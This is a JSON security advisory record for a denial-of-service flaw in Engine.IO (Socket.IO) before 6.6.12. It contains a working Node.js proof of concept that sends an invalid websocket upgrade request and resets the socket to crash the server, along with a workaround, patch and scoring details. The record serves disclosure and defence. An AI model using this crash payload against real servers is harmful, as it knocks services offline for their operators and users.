{"id":"CVE-2026-137200","aliases":["CVE-2026-137200","GHSA-v775-f652-7rv6"],"related":[],"kind":"vulnerability","state":"published","title":"Socket.IO: Engine.IO DoS via unhandled upgrade error","summary":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to Engine.IO 6.6.12, a remote unauthenticated client can send an upgrade request to a non-Engine.IO path and disconnect before the destruction timeout fires. The socket can emit an ECONNRESET error before Engine.IO installs its error listener, producing an uncaught exception that crashes the Node.js process. This issue is fixed in Engine.IO version 6.6.12.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to Engine.IO 6.6.12, a remote unauthenticated client can send an upgrade request to a non-Engine.IO path and disconnect before the destruction timeout fires. The socket can emit an ECONNRESET error before Engine.IO installs its error listener, producing an uncaught exception that crashes the Node.js process. This issue is fixed in Engine.IO version 6.6.12.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**.\n\n### Proof of concept\n\n```js\nimport net from \"node:net\";\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, () => {\n  console.log(\"Vulnerable server listening on port 3000\");\n\n  // Attacker: Send an invalid upgrade request and disconnect abruptly\n  const socket = net.connect(3000, () => {\n    socket.write(\n      \"GET / HTTP/1.1\\r\\n\" +\n      \"Connection: Upgrade\\r\\n\" +\n      \"Upgrade: websocket\\r\\n\" +\n      \"\\r\\n\"\n    );\n    // Disconnect before the 1000ms timeout\n    setTimeout(() => socket.resetAndDestroy(), 10);\n  });\n});\n```\n\n**Expected Result:** The server crashes with:\n\n```\nUnhandled 'error' event (ECONNRESET)\n```\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.12` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by registering a listener for the `error` event:\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\nconst engine = new Server();\nconst server = http.createServer();\n\n// WORKAROUND: Add a global \"upgrade\" handler to catch ALL sockets\nserver.on(\"upgrade\", (req, socket, head) => {\n  socket.on(\"error\", (err) => {\n    console.debug(`[Workaround] Upgrade error: ${err.message}`);\n  });\n});\n\nengine.attach(server);\n\nserver.listen(3000);\n```\n\nNote: This is a **temporary mitigation**. Upgrading to `engine.io@6.6.12` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [YuSheng Chen](https://github.com/samuel871211).","format":"markdown","source":"ghsa"}],"published":"2026-11-30T20:52:29.125Z","modified":"2026-12-01T03:15:04.448Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-248"],"affected":[{"ranges":[{"version":"< 6.6.12","status":"affected"}],"vendor":"socketio","product":"socket.io","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.6.12"}],"ecosystem":"npm","package":"engine.io","purl":"pkg:npm/engine.io","source":"ghsa"}],"references":[{"url":"https://github.com/socketio/socket.io/security/advisories/GHSA-v775-f652-7rv6","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.12","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137200","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/socketio/socket.io","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-137200","url":"https://www.cve.org/CVERecord?id=CVE-2026-137200","licence":"CVE Terms of Use","modified":"2026-11-30T20:52:29.125Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-v775-f652-7rv6","url":"https://github.com/advisories/GHSA-v775-f652-7rv6","licence":"CC-BY-4.0","modified":"2026-12-01T03:15:04.448Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-137200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137200","licence":"Public domain","modified":"2026-11-30T21:17:25.680Z"}],"updatedAt":"2026-12-01T03:27:24.875Z","epss":{"score":0.00921,"percentile":0.61347,"date":"2026-12-01T12:00:22.000Z"}}